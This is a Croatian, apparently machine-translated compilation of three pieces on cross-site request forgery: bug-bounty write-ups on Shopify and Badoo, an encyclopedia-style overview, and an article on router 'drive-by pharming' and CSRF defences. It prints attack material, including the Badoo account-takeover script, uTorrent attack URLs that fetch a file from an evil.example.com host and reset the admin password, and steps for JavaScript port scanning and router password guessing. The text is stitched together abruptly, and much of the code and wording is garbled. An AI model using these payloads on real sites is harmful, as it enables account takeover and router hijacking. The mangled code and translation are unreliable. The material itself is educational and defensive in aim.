Cross Site Request Forgery ili CSRF napad je koji se događa kada zlonamjerna stranica, e-pošta, poruka, aplikacija ili bilo što drugo uzrokuje da korisnikov preglednik izvede neku radnju na drugoj stranici na kojoj je taj korisnik već autentificiran. Često se to događa bez znanja korisnika.
Šteta uzrokovana CSRF napadom ovisi o mjestu koje prima akciju. Evo primjera:
Još je zanimljivija situacija kada poveznica na zlonamjernu
stranica može biti sadržana u važećem HTML-u, zahvaljujući kojem Bo-
Ne morate ni kliknuti na link: . Ako Bobov uređaj (na primjer, preglednik) prikazuje
Ova će slika poslati zahtjev malicious_site.com i potencijalno izazvati CSRF napad.
Sada kada ste svjesni opasnosti od CSRF napada, možete se zaštititi od njih na više načina, od kojih je najpopularniji možda korištenje CSRF tokena, koji se mora poslati uz svaki zahtjev koji bi potencijalno mogao izmijeniti podatke ( kao što su POST zahtjevi). Web aplikacija (kao što je Bobovo online bankarstvo) morat će generirati token koji se sastoji od dva dijela, od kojih će jedan Bob primiti, a drugi će biti pohranjen u aplikaciji.
Kada Bob pokuša podnijeti zahtjev za prijenos novca, morat će poslati token, čija će valjanost biti potvrđena od strane banke pomoću tokena pohranjenog u aplikaciji.
Sada kada znamo za CSRF i CSRF tokene, Cross Origin Resource Sharing (CORS) ima više smisla, iako sam to možda tek primijetio dok sam istraživao nove ciljeve. Općenito, CORS ograničava popis resursa koji mogu pristupiti podacima. Drugim riječima, kada se CORS koristi za osiguranje web-mjesta, možete napisati Javascript za pozivanje ciljane aplikacije, pročitati odgovor i uputiti drugi poziv ako vam ciljno mjesto to dopušta.
Ako se ovo čini zbunjujućim, pokušajte upotrijebiti Javascript za poziv na HackerOne.com/activity.json, pročitajte odgovor i uputite drugi poziv. Također ćete vidjeti važnost ovoga i moguća rješenja u primjeru #3 u nastavku.
Na kraju, važno je napomenuti (hvala Jobertu Abmi što je ovo istaknuo) da nije svaki zahtjev bez CSRF tokena nevažeći. Neka mjesta mogu provoditi dodatne provjere, kao što je usporedba izvornog zaglavlja (iako nije zajamčeno da je sigurno i postoje poznati slučajevi zaobilaženja). Ovo je polje koje identificira adresu stranice koja povezuje na traženi izvor. Drugim riječima, ako izvorna strana (preporuka)
upućuje POST poziv s web-mjesta koje nije isto s web-mjesta koje je primilo HTTP zahtjev, web-mjesto možda neće dopustiti da poziv postigne isti učinak kao korištenjem CSRF tokena. Osim toga, ne koristi svaka stranica pojmove csrf pri stvaranju ili definiranju tokena. Na primjer, na Badoou ovo je rt parametar, kao što je opisano u nastavku.
Pročitajte vodič za OWASP testiranje za CSRF
Primjeri 1. Izvoz instaliranih Shopify korisnikaTežina: Niska
Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users
Opis:
Shopify API pruža krajnju točku za izvoz popisa instaliranih korisnika putem gore prikazanog URL-a. Ranjivost je bila u tome što je web mjesto moglo uputiti zahtjev ovoj krajnjoj točki i primiti informacije kao odgovor, jer
Shopify nije upotrijebio CSRF token za potvrdu ovog zahtjeva. Kao rezultat toga, sljedeći HTML kôd mogao bi se koristiti za podnošenje obrasca u ime žrtve koja ništa ne sumnja.
1 2 csrf 3 4 7 8 9
U ovom primjeru, kada jednostavno posjećujete stranicu, Javascript šalje obrazac koji uključuje GET zahtjev Shopify API-ju koristeći Shopify kolačiće postavljene u pregledniku žrtve.
zaključkePovećajte razmjere svojih napada i tražite pogreške ne samo na web mjestu, već iu API-ju. Krajnje točke API-ja također su potencijalni put za iskorištavanje, pa je vrijedno imati ovo na umu, posebno ako znate da je API možda razvijen ili dostupan nakon što je stvoreno web sučelje.
2. Odspojite Shopify s TwitteraTežina: Niska
Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect
Shopify pruža Twitter integraciju koja omogućuje vlasnicima trgovina tweetanje o njihovim proizvodima. Slično, usluga vam omogućuje da prekinete vezu Twitter računa s povezanom trgovinom.
URL za onemogućavanje Twitter račun iz gore navedene trgovine. Prilikom podnošenja zahtjeva, Shopify nije potvrdio CSRF token, što je napadaču omogućilo stvaranje lažne poveznice koja bi, kada se klikne, uzrokovala da nesuđeni vlasnik trgovine isključi svoju trgovinu s Twittera.
U opisu ranjivosti, WeSecureApp je dao sljedeći primjer ranjivog zahtjeva; imajte na umu da upotreba img oznake upućuje poziv na ranjivi URL:
1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Accept: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Referer: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Kolačić: _twitter-commerce_session=REDIGOVANO 12 >Konekcija: Keep-alive
Budući da preglednik šalje GET zahtjev za dobivanje slike s proslijeđenog URL-a, a CSRF token nije potvrđen, prilagođena pohrana sada je onemogućena:
1
2
3
5
6
U ovoj situaciji, opisana ranjivost mogla se pronaći pomoću proxy poslužitelja kao što je Burp ili Firefox Tamper Data, samo gledanjem zahtjeva poslanog Shopifyju i uvidom da je zahtjev napravljen korištenjem GET zahtjeva. Budući da je ovo ometalo i GET zahtjevi ne bi trebali promijeniti podatke na poslužitelju, vrijedi istražiti.
3. Dovršite preuzimanje računa na BadoouTežina: Srednja
Url: https://badoo.com
Link za prijavu: https://hackerone.com/reports/12770312
Datum izvješća: 1. travnja 2016
Isplaćena nagrada: 852 dolara
Opis:
Ako pogledate Badoo, oni štite od CSRF-a uključivanjem rt parametra u URL, koji ima samo 5 znakova (barem u vrijeme pisanja). Iako sam to primijetio kad je Badoo pokrenuo kampanju na HackerOneu, nisam pronašao način da to iskoristim. Međutim, Mahmoud Jamal (zombiehelp54) ga je pronašao.
Nakon što je razumio značenje parametra rt, također je primijetio da se parametar vraća u gotovo svim json odgovorima. Nažalost, ovo nije pomoglo jer CORS štiti Badoo od napada čitanjem ovih odgovora. Mahmoud je nastavio potragu.
Ispostavilo se da datoteka https://eu1.badoo.com/worker-scope/chrome-ser sadrži vrijednost rt. Ono što je bilo još bolje je da je ova datoteka
napadač mogao proizvoljno pročitati i nije zahtijevao
žrtva ne poduzima ništa osim posjete zlonamjernoj web stranici. Evo koda koji je dao:
1 2 3 Badoo račun preuzet 4 6 7 8 9 funkcija getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = 'https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state=7cb17 4b560..a810&prompt=none&rt= '+ csrf _code;18 window.location = csrf_url; 19); 20
U osnovi, kada bi žrtva učitala stranicu, postavila bi zahtjev Badoo skripti, pokupila rt parametar za tog korisnika, a zatim napravila zahtjev u ime žrtve. U ovom slučaju radilo se o povezivanju Mahmoudovog računa s računom žrtve, što je omogućilo potpuno preuzimanje računa.
zaključkeGdje ima dima, ima i vatre Ovdje je Mahmoud primijetio da se rt parametar vraća na različitim mjestima, u određenim json odgovorima. Dakle, on je ispravno pretpostavio da bi se mogao pokazati negdje gdje bi se mogao koristiti u ovom slučaju u js datoteci.
RezultatiCSRF napadi predstavljaju još jedan opasan vektor napada i mogu se izvesti s malo ili nimalo aktivne akcije od strane žrtve. Pronalaženje CSRF ranjivosti zahtijeva malo domišljatosti i, opet, spremnost da se sve testira.
U pravilu, obrasci su prema zadanim postavkama zaštićeni okvirima kao što je Rails ako web mjesto podnese POST zahtjev, ali API-ji mogu
biti posebna priča. Na primjer, Shopify je prvenstveno napisan na okviru Ruby on Rails, koji prema zadanim postavkama pruža CSRF zaštitu za sve forme (iako se može onemogućiti). Međutim, očito to nije nužno slučaj za API-je stvorene pomoću ovog okvira. Na kraju, obratite pozornost na pozive koji mijenjaju podatke na poslužitelju (kao što je akcija brisanja) i koji su napravljeni korištenjem GET zahtjeva.
Krivotvorenje zahtjeva između stranica, također poznato kao napad jednim klikom ili pogon sesije i skraćeno CSRF (ponekad se izražava tidal bore slušaj)) ili XSRF, vrsta je zlonamjernog softvera koji se iskorištava s web stranice gdje se šalju neovlaštene naredbe od korisnika kojem web aplikacija vjeruje. Postoji mnogo načina na koje zlonamjerno web mjesto može prenijeti takve naredbe; posebno izrađene oznake slika, skriveni obrasci i JavaScript XMLHttpRequests, na primjer, mogu raditi bez interakcije ili čak znanja korisnika. Za razliku od cross-site skriptiranja (XSS), koje iskorištava povjerenje koje korisnik ima za određenu stranicu, CSRF iskorištava povjerenje koje stranica ima u korisnikov preglednik.
priča
CSRF ranjivosti poznate su iu nekim slučajevima iskorištavane od 2001. Budući da se provodi s korisničke IP adrese, zapisi nekih web stranica možda neće sadržavati dokaze o CSRF-u. O eksploatacijama se premalo izvještava, barem javno, a od 2007. bilo je nekoliko dobro dokumentiranih primjera:
- Web stranica Netflixa 2006. godine imala je brojne CSRF ranjivosti koje su napadaču mogle omogućiti izvođenje radnji kao što je dodavanje DVD-a žrtvinom redu čekanja za iznajmljivanje, promjena adrese za dostavu na računu ili promjena žrtvinih vjerodajnica za prijavu kako bi potpuno ugrozio račun.
- Web aplikacija za internetsko bankarstvo ING Direct bila je ranjiva na CSRF napade, dopuštajući ilegalne prijenose novca.
- Popularna video web stranica YouTube također je bila ranjiva na CSRF 2008. godine, a to je svakom napadaču omogućilo da izvede gotovo sve što svaki korisnik može.
- McAfee je također ranjiv na CSRF, što je omogućilo napadačima da modificiraju sustav njihove tvrtke.
U 2018. izvršeni su novi napadi na web uređaje, uključujući pokušaje promjene DNS postavke usmjerivači. Neki proizvođači usmjerivača požurili su objaviti ažuriranja firmvera kako bi poboljšali sigurnost i savjetovali korisnicima da promijene postavke usmjerivača kako bi smanjili rizik. Pojedinosti nisu objavljene, navodeći "očite sigurnosne razloge".
Primjer i karakteristikeNapadači koji mogu pronaći vezu koja se može ponoviti i koja izvodi određenu radnju na odredišnoj stranici dok se žrtva registrira, mogu ugraditi takvu vezu na stranicu koju kontroliraju i prevariti žrtvu da je otvori. Medijska poveznica napada može se postaviti na mjesto koje će žrtva najvjerojatnije posjetiti prijavom na ciljnu stranicu (kao što je rasprava na forumu) ili se može poslati u tijelu HTML e-pošte ili privitka. Prava CSRF ranjivost u Utorrentu (CVE-2008-6586) iskoristila je činjenicu da je njegova web konzola dostupna na lokalnom hostu: 8080 je omogućio izvođenje kritičnih radnji pomoću jednostavan zahtjev DOBITI:
Prisilno preuzimanje .torrent datoteke http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Promjena Utorrent administratorske lozinke http://localhost:8080/gui/action = setsetting & s = webui.lozinka & v = zli administrator
Napadi su pokrenuti postavljanjem zlonamjernih, automatiziranih HTML slikovnih elemenata na forume i neželjenu e-poštu, kako bi ih preglednici koji posjećuju te stranice automatski otvarali, bez puno radnje od strane korisnika. Osobe koje su pokretale ranjivu verziju Utorrenta u isto vrijeme kad su otvarale te stranice bile su podložne napadu.
CSRF napadi koji koriste oznake slika često se izvode s internetskih foruma na kojima korisnici mogu objavljivati slike, ali ne i JavaScript, na primjer korištenjem BBCodea:
Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
Prilikom pristupa poveznici za napad na lokalnoj Utorrent aplikaciji na localhost:8080, preglednik će također uvijek automatski poslati sve postojeće kolačiće za tu domenu. Ovo zajedničko svojstvo web-preglednika omogućuje CSRF napadima da iskoriste svoje ciljne ranjivosti i izvedu neprijateljske radnje sve dok je korisnik prijavljen na ciljnu web-stranicu (u ovom primjeru lokalno Utorrent web sučelje) u trenutku napada.
Krivotvorenje zahtjeva između web stranica zbunjujući je proxy napad na web preglednik.
CSRF obično ima sljedeće karakteristike:
- Uključuje stranice koje se oslanjaju na identitet korisnika.
- Iskorištava povjerenje stranice u ovaj identitet.
- Prevari korisnikov preglednik da pošalje HTTP zahtjeve ciljanom mjestu.
- Uključuje HTTP zahtjeve koji imaju nuspojave.
- U HTTP GET-u, korištenje CSRF-a je trivijalno, korištenjem gore opisanih metoda, kao što je jednostavna hiperveza koja sadrži manipulirane parametre i automatski se učitava pomoću IMG oznake. Prema HTTP specifikaciji, međutim, GET bi se trebao koristiti kao sigurna metoda, odnosno bez značajnije promjene stanja korisnika u aplikaciji. Aplikacije koje koriste GET za takve operacije trebaju se prebaciti na HTTP POST ili koristiti CSRF zaštitu.
- HTTP POST ima različite CSRF ranjivosti, ovisno o detaljnim slučajevima upotrebe:
- U svom najjednostavnijem obliku, POST s podacima kodiranim kao niz upita (field1=value1&field2=value2) CSRF napad lako se implementira pomoću jednostavnog HTML obrasca i moraju se primijeniti mjere protiv CSRF-a.
- Ako se podaci šalju u bilo kojem drugom formatu (JSON, XML), standardna metoda je izdavanje POST zahtjeva koristeći XMLHttpRequest sa CSRF napadima koje sprječavaju SOP i ; postoji metoda za podnošenje proizvoljnog sadržaja iz jednostavnog HTML obrasca pomoću atributa ENCTYPE; takav se lažni zahtjev može razlikovati od legitimnih po tipu teksta/običnog sadržaja, ali ako se to ne izvrši na poslužitelju, može se izvršiti CSRF
- druge HTTP metode (PUT, DELETE, itd.) mogu se izdati samo korištenjem XMLHttpRequest sa SOP i CSRF prevencijom; Međutim, ove mjere neće biti aktivne na web stranicama koje ih izričito onemoguće korištenjem Access-Control-Allow-Origin: * zaglavlja
Štoviše, dok se općenito opisuje kao statički tip napada, CSRF se također može dinamički konstruirati kao dio korisnog opterećenja za scenarije napada između web-mjesta, kao što je prikazano u crvu Samy, ili se može izgraditi u hodu iz informacija o sesiji koje su procurile kroz sadržaj izvan web-mjesta i poslane meti kao zlonamjerni URL. CSRF tokene također može poslati zlonamjerni klijent zbog fiksacije sesije ili drugih ranjivosti ili ih može pogoditi napadom brutalne sile prevedenim u zlonamjernu stranicu koja generira tisuće neuspjelih zahtjeva. Klasu napada "Dynamic CSRF" ili korištenje opterećenja po klijentu za prijevaru specifičnu za sesiju opisali su 2009. Nathan Hamiel i Sean Moyer na BlackHat brifinzima, iako taksonomija tek treba dobiti širu primjenu.
Novi vektor za sastavljanje dinamičkih CSRF napada predstavio je Oren Ofer na sastanku lokalnog odjela OWASP-a u siječnju 2012. - "AJAX Hammer - Dynamic CSRF".
PosljediceIzdani su indikatori ozbiljnosti za CSRF ranjivosti koje dovode do daljinskog izvršavanja koda s root privilegijama, kao i ranjivost koja može ugroziti korijenski certifikat, što bi u potpunosti potkopalo infrastrukturu javnog ključa.
OgraničenjaMora se dogoditi nekoliko stvari da bi zahtjev za krivotvorenje na više web stranica uspio:
Napad je slijep: napadač ne može vidjeti što ciljno mjesto šalje natrag žrtvi kao odgovor na krivotvorene zahtjeve osim ako ne iskorištava Cross-Site Scripting ili neku drugu pogrešku na ciljanom mjestu. Nadalje, napadač može ciljati samo bilo koju poveznicu ili poslati bilo koji obrazac koji dolazi nakon početnog krivotvorenog zahtjeva, sve dok su te sljedeće veze ili obrasci na sličan način predvidljivi. (Više ciljeva može se simulirati uključivanjem više slika na stranicu ili s koristeći JavaScript za unos odgode između klikova.)
S obzirom na ova ograničenja, napadač može imati poteškoća u pronalaženju anonimnih identiteta žrtava ili ranjivog oblika predstavljanja. S druge strane, pokušaji napada lako se montiraju i žrtve ih ne otkriju, a programeri aplikacija manje su upoznati i manje pripremljeni za CS napade nego za, recimo, napade iz rječnika za probijanje lozinki.
prevencijaVećina metoda prevencije CSRF-a radi ugrađivanjem dodatnih podataka za provjeru autentičnosti u zahtjeve, što web aplikaciji omogućuje otkrivanje zahtjeva s neovlaštenih lokacija.
Model markera sinkronizatora- Nakon prijave, web aplikacija postavlja kolačić koji sadrži nasumični token koji ostaje nepromijenjen tijekom korisnikove sesije
- JavaScript koji radi na strani klijenta čita vrijednost i kopira je u prilagođeno HTTP zaglavlje koje se šalje sa svakim transakcijskim zahtjevom
- Poslužitelj provjerava prisutnost i integritet tokena
Sigurnost ove metode temelji se na pretpostavci da će samo JavaScript pokrenut unutar istog izvora moći pročitati vrijednost kolačića. JavaScript koji radi s lažnom datotekom ili adresom e-pošte neće moći čitati i kopirati u prilagođeno zaglavlje. Iako će kolačić CSRF tokena biti automatski poslan s lažnim zahtjevom, poslužitelj će i dalje očekivati važeće zaglavlje X-CSRF tokena.
Sam CSRF token mora biti jedinstven i nepredvidiv. To se može generirati nasumično ili se može dobiti iz tokena sesije pomoću HMAC-a:
Csrf_token = HMAC(session_token, application_secret)
Token CS kolačića ne bi trebao imati oznaku HTTPOnly budući da je namijenjen za čitanje JavaScript dizajnom.
Ovu metodu implementiraju mnogi moderni okviri kao što su Django i AngularJS. Budući da token ostaje postojan tijekom korisničke sesije, dobro radi s AJAX aplikacijama, ali ne pruža slijed događaja u web aplikacijama.
Zaštita koju pruža ova metoda može biti osujećena ako ciljano web mjesto onemogući svoje pravilo istog podrijetla pomoću jedne od sljedećih metoda:
- Permissive Access-Control-Allow-Origin zaglavlje (sa zvjezdicom argumenta)
- clientaccesspolicy.xml datoteka koja dopušta nenamjeran pristup Silverlight kontrolama
- crossdomain.xml datoteka koja omogućuje nenamjeran pristup Flash filmovima
Slično pristupu kolačić-zaglavlje, ali bez uključivanja JavaScripta, web-mjesto može postaviti CSRF token kao kolačić i umetnuti ga u skriveno polje u svakom HTML obrascu koji pošalje klijent. Kada se obrazac pošalje, stranica može provjeriti odgovara li marker kolačića obliku markera. Pravila zajedničkog podrijetla sprječavaju napadače da čitaju ili postavljaju kolačiće na ciljnu domenu, tako da ne mogu postaviti važeći token u njihovom kreiranom obliku.
Prednost ove metode u odnosu na uzorak sinkronizatora je u tome što token ne mora biti pohranjen na poslužitelju.
Jamstva klijentaProširenja preglednika kao što je RequestPolicy (za Mozilla Firefox) ili Umatrix (oba za Firefox i Google Chrome/Chromium) mogu spriječiti CSRF pružanjem zadanih pravila odbijanja za zahtjeve s više stranica. Međutim, to može značajno ometati normalan rad mnogih stranica. Proširenje CsFire (također za Firefox) može ublažiti utjecaj CSRF-a s manjim utjecajem na normalno pregledavanje uklanjanjem informacija o autentifikaciji iz zahtjeva između stranica.
Krivotvorenje zahtjeva na različitim mjestima – puno buke ni oko čega
Aleksandar Antipov
Nedavno je bilo mnogo rasprava u zajednici za sigurnost web aplikacija o "novoj" vrsti ranjivosti koja se zove Cross-Site Request Forgery (CSRF ili XSRF). Članak koji donosimo pozornost čitatelja sadrži opis ove vrste ranjivosti, metode njezine upotrebe i glavne pristupe zaštiti.
Sergej Gordejčik
Gordey @ ptsecurity com
Nedavno je bilo mnogo rasprava u zajednici za sigurnost web aplikacija o "novoj" vrsti ranjivosti koja se zove Cross-Site Request Forgery (CSRF ili XSRF). Članak koji donosimo pozornost čitatelja sadrži opis ove vrste ranjivosti, metode njezine upotrebe i glavne pristupe zaštiti. Općeprihvaćeni ruski izraz za Cross-Site Request Forgery još nije uspostavljen, stoga autor predlaže korištenje opcije “HTTP Request Forgery”.
Lirska digresijaPrije svega, želio bih se zadržati na glavnim zabludama povezanim s CSRF-om:
1. Krivotvorenje HTTP zahtjeva nova je vrsta ranjivosti.
Ovo je daleko od istine. Teorijska razmišljanja o temi lažiranja izvora poruka datiraju iz 1988. (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), a praktični primjeri ranjivosti raspravljaju se u Bugtraqu od najmanje 2000. (http ://www. zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Sam pojam uveo je Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) 2001. godine.
2. CSRF je varijanta Cross-Site Scripting (XSS).
Jedina sličnost između CSRF-a i XSS-a je korištenje klijenata web aplikacije kao vektora napada (napad na strani klijenta u WASC terminologiji http://www.webappsec.org/projects/threat/). CSRF ranjivosti mogu se iskoristiti zajedno s XSS-om ili "preusmjerivačima" (http://www..php), ali predstavljaju zasebnu klasu ranjivosti.
3. CSRF ranjivost nije česta i prilično ju je teško iskoristiti.
Podaci dobiveni od strane Positive Technologies tijekom testiranja prodora i sigurnosne procjene web aplikacija pokazuju da je većina web aplikacija osjetljiva na ovu ranjivost. Za razliku od drugih ranjivosti, CSRF se ne pojavljuje kao rezultat programskih pogrešaka, već je normalno ponašanje web poslužitelja i preglednika. Oni. Većina stranica koje koriste standardnu arhitekturu ranjive su prema zadanim postavkama.
Primjer upotrebePogledajmo korištenje CSRF-a na primjeru. Recimo da postoji web aplikacija koja šalje poruke e-pošte. Korisnik zadaje e-mail adresu i tekst poruke, klikne gumb Pošalji i poruka s njegove adrese šalje se primatelju.
Riža. 1. Slanje poruke
Shema je poznata s mnogih stranica i ne izaziva nikakve primjedbe. Međutim, vrlo je vjerojatno da će navedena aplikacija biti ranjiva na napade krivotvorenja HTTP zahtjeva. Kako bi iskoristio ranjivost, napadač može stvoriti stranicu na svojoj web stranici koja sadrži poveznicu na "sliku", a zatim prisiliti korisnika da slijedi vezu na njegovu web stranicu (na primjer, http://bh.ptsecurity.ru/xcheck /csrf.htm).
Prilikom pristupa stranici, preglednik korisnika pokušava učitati sliku, za što kontaktira ranjivu aplikaciju, tj. šalje e-poruku primatelju navedenom u polju "za" zahtjeva.
Riža. 2. CSRF napad
Imajte na umu da će korisnički preglednik web mjestu poslati vrijednost kolačića, tj. zahtjev će se shvatiti kao da dolazi od autentificiranog korisnika. Kako bi prevario korisnika da učita stranicu koja šalje zahtjev ranjivom poslužitelju, napadač može koristiti tehnike društvenog inženjeringa kao i tehničke ranjivosti kao što su XSS i pogreške u implementaciji funkcije preusmjeravanja.
Riža. 3. Logika rada CSRF-a
Dakle, CSRF napad uključuje korištenje korisničkog preglednika za slanje HTTP zahtjeva proizvoljnim stranicama, a ranjivost je neuspjeh provjere izvora HTTP zahtjeva. Primjer aplikacije koristi HTTP GET metodu za prosljeđivanje parametara, što olakšava život napadaču. Međutim, nemojte pretpostavljati da korištenje POST metode automatski eliminira mogućnost napada krivotvorenjem HTTP zahtjeva. Stranica na poslužitelju napadača može sadržavati gotov HTML obrazac koji se automatski šalje kada se stranica pregleda.
Da bi iskoristio CSRF, napadač ne mora imati vlastiti web poslužitelj. Stranica koja pokreće zahtjev može se poslati e-poštom ili na neki drugi način.
Recenzija Billyja Hoffmana pokazuje razne metode umrežavanje pomoću Javascripta. Svi oni, uključujući XmlHttxmpquest (u nekim situacijama), mogu se koristiti za implementaciju CSRF napada.
Nadam se da čitatelj do sada već razumije glavnu razliku između CSRF-a i XSS-a. U slučaju XSS-a, napadač dobiva pristup DOM-u (Document Object Model) ranjive stranice, kako za čitanje tako i za pisanje. Prilikom izvršavanja CSRF-a, napadač ima priliku poslati zahtjev poslužitelju koristeći korisnički preglednik, ali više neće moći primiti i analizirati odgovor poslužitelja, a još manje njegovo zaglavlje (na primjer, Cookie). Sukladno tome, “HTTP Request Forgery” omogućuje rad s aplikacijom u načinu rada “samo za pisanje”, što je, međutim, sasvim dovoljno za izvođenje pravih napada.
Glavne mete CSRF napada su razne interaktivne web aplikacije, kao što su sustavi e-pošte, forumi, CMS, sučelja daljinski upravljač mrežna oprema. Na primjer, napadač može slati poruke u ime drugih korisnika, dodavati nove Računi, ili promijenite postavke usmjerivača putem web sučelja.
Riža. 4. Primjer korištenja CSRF-a na forumu
Pogledajmo pobliže posljednju - promjenu postavki mrežni uređaji. Autor već govori o bežičnim sustavima za detekciju napada, ali naravno, stvar nije ograničena na njih.
Probijamo perimetarProšlog prosinca Symantec je objavio izvješće o "novom" napadu pod nazivom "Drive-By Pharming", koji je u biti varijanta iskorištavanja CSRF-a. Napadač izvršava neku vrstu "čarobnog" JavaScripta u pregledniku korisnika koji mijenja postavke usmjerivača, na primjer, postavlja novu vrijednost DNS poslužitelja. Za izvođenje ovog napada morate riješiti sljedeće probleme:
Skeniranje portova pomoću JavaScripta;
Određivanje tipa Web aplikacije (otisak prsta);
Pogađanje lozinke i autentifikacija pomoću CSRF-a;
Promjena postavki hosta pomoću CSRF napada.
Tehnika skeniranja za određivanje dostupnosti web poslužitelja i njegove vrste softvera pomoću JavaScripta prilično je dobro razrađena i svodi se na dinamično stvaranje HTML objekti (npr. img src=) koji upućuju na razne interne URL-ove (npr. http://192.168.0.1/pageerror.gif). Ako je “slika” uspješno učitana, tada se web poslužitelj nalazi na testiranoj adresi na Microsoft baza podataka IIS. Ako je odgovor primio pogrešku 404, tada je port otvoren i web poslužitelj radi na njemu. Ako je timeout prekoračen, poslužitelj nije na mreži ili je port blokiran na vatrozidu. Pa, u drugim situacijama - port je zatvoren, ali host je dostupan (poslužitelj je vratio RST paket, a preglednik je vratio grešku prije isteka vremena). U nekim situacijama, takvo skeniranje priključaka iz korisničkog preglednika može se izvesti bez upotrebe JavaScripta (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).
Nakon utvrđivanja vrste uređaja, napadač može pokušati natjerati korisnikov preglednik da odmah pošalje zahtjev za promjenu postavki. Ali takav će zahtjev biti uspješan samo ako korisnikov preglednik već ima aktivnu autentificiranu sesiju s uređaja. Imati pri ruci otvorena stranica upravljanje ruterom je loša navika mnogih "naprednih" korisnika.
Ako nema aktivne sesije sa sučeljem za upravljanje, napadač se mora autentificirati. Ako uređaj implementira autentifikaciju temeljenu na obrascima, nema problema. Korištenjem CSRF-a u POST-u, zahtjev za autorizacijom šalje se poslužitelju, nakon čega se s njega učitava slika (ili stranica) kojoj mogu pristupiti samo autentificirani korisnici. Ako je slika primljena, provjera autentičnosti bila je uspješna i možete nastaviti s daljnjim radnjama, u protivnom pokušajte s drugom zaporkom.
Ako napadnuti uređaj implementira osnovnu autentifikaciju, zadatak postaje kompliciraniji. Internetski preglednik Explorer ne podržava mogućnost navođenja korisničkog imena i lozinke u URL-u (na primjer, http://user: [e-mail zaštićen]). U tom smislu, za izvođenje osnovne provjere autentičnosti može se koristiti metoda dodavanja HTTP zaglavlja pomoću Flasha, opisana u članku. Međutim, ova metoda je prikladna samo za stare Flash verzije, kojih je sve rjeđe.
Ali drugi preglednici, poput Firefoxa, pružaju mogućnost navođenja korisničkog imena i lozinke u URL-u i mogu se koristiti za autentifikaciju na bilo kojem poslužitelju, a to se može učiniti bez generiranja poruke o pogrešci ako je lozinka netočna.
Primjer skripte za tihu provjeru autentičnosti korištenjem osnovne metode s bloga Stefana Essera dan je u nastavku.
Firefox HTTP Auth Bruteforcing
Riža. 5. Osnovna provjera autentičnosti u Firefoxu
U korporativnom okruženju gdje se često koriste SSO mehanizmi, npr. domena aktivna Imenik i Kerberos i NTLM protokoli, iskorištavanje CSRF-a ne zahtijeva dodatni napor. Preglednik će se automatski autentificirati protiv sigurnosnog konteksta trenutnog korisnika.
Nakon što je autentifikacija prošla, napadač koristi JavaScript za slanje zahtjeva koji mijenja proizvoljne postavke usmjerivača, kao što je adresa DNS poslužitelja.
Metode zaštitePrva stvar koja pada na pamet kada je u pitanju CSRF zaštita je provjera vrijednosti zaglavlja Referer. Doista, budući da krivotvorenje HTTP zahtjeva uključuje prijenos zahtjeva s trećeg mjesta, kontrola izvorne stranice, čiju adresu preglednik automatski dodaje u zaglavlja zahtjeva, može riješiti problem.
Međutim, ovaj mehanizam ima brojne nedostatke. Prvo, programer se suočava s pitanjem obrade zahtjeva koji nemaju Referer zaglavlje kao takvo. Mnogi osobni vatrozidi i anonimizirajući proxy poslužitelji uklanjaju zaglavlje Referer kao potencijalno nesigurno zaglavlje. Sukladno tome, ako poslužitelj ignorira takve zahtjeve, skupina "najparanoičnijih" građana neće moći raditi s njim.
Drugo, u nekim situacijama Referer zaglavlje može biti krivotvoreno, na primjer korištenjem već spomenutog Flash trika. Ako korisnik koristi IE 6.0, sadržaj zaglavlja zahtjeva može se modificirati kako bi se iskoristila greška u implementaciji XmlHttxmpquest. Ranjivost leži u mogućnosti korištenja znakova novog retka u nazivu HTTP metode, što omogućuje promjenu zaglavlja, pa čak i ubacivanje dodatnog zahtjeva. Ovu je ranjivost otkrio Amit Klein() 2005. i ponovno je otkrio 2007. Ograničenje ove metode je to što radi samo ako postoji HTTP proxy između korisnika i poslužitelja ili ako se poslužitelji nalaze na istoj IP adresi ali s različitim imenima domena.
Druga uobičajena metoda je dodavanje jedinstvenog parametra svakom zahtjevu, koji zatim potvrđuje poslužitelj. Parametar se može dodati u URL kada se koristi GET zahtjev, kao što je u ili kao skriveni parametar obrasca kada se koristi POST. Vrijednost parametra može biti proizvoljna, glavna stvar je da je napadač ne može predvidjeti, na primjer, vrijednost korisničke sesije.
Riža. 6. CSRF zaštita u Bitrixu
Kako biste svojoj aplikaciji brzo dodali funkciju provjere CSRF-a, možete koristiti sljedeći pristup:
1. Dodajte mali JavaScript svakoj generiranoj stranici, dodajući dodatni skriveni parametar svim obrascima, kojemu je dodijeljena vrijednost kolačića.
2. Provjerite na poslužitelju sadrže li podaci koje je klijent poslao metodom POST vrijednost jednaku trenutnoj vrijednosti kolačića.
Primjer takve klijentske skripte dan je u nastavku:
Daljnji razvoj ovog pristupa je pohranjivanje identifikatora sesije ne u kolačić, već kao skriveni parametar obrasca (na primjer, VIEWSTATE).
Kao metoda suzbijanja CSRF-a mogu se koristiti različite verzije Turingovih testova, na primjer, dobro poznate slike - CAPTCHA. Još jedna popularna opcija je zahtijevanje korisničke lozinke prilikom mijenjanja kritičnih postavki.
Riža. 7. CSRF zaštita u mail.ru
Dakle, Cross-Site Request Forgery napad je usmjeren na klijenta web aplikacije i koristi nedovoljnu provjeru izvora HTTP zahtjeva. Za zaštitu od takvih napada može se koristiti dodatna kontrola izvora zahtjeva na temelju Referer zaglavlja ili dodatnog "slučajnog" parametra.
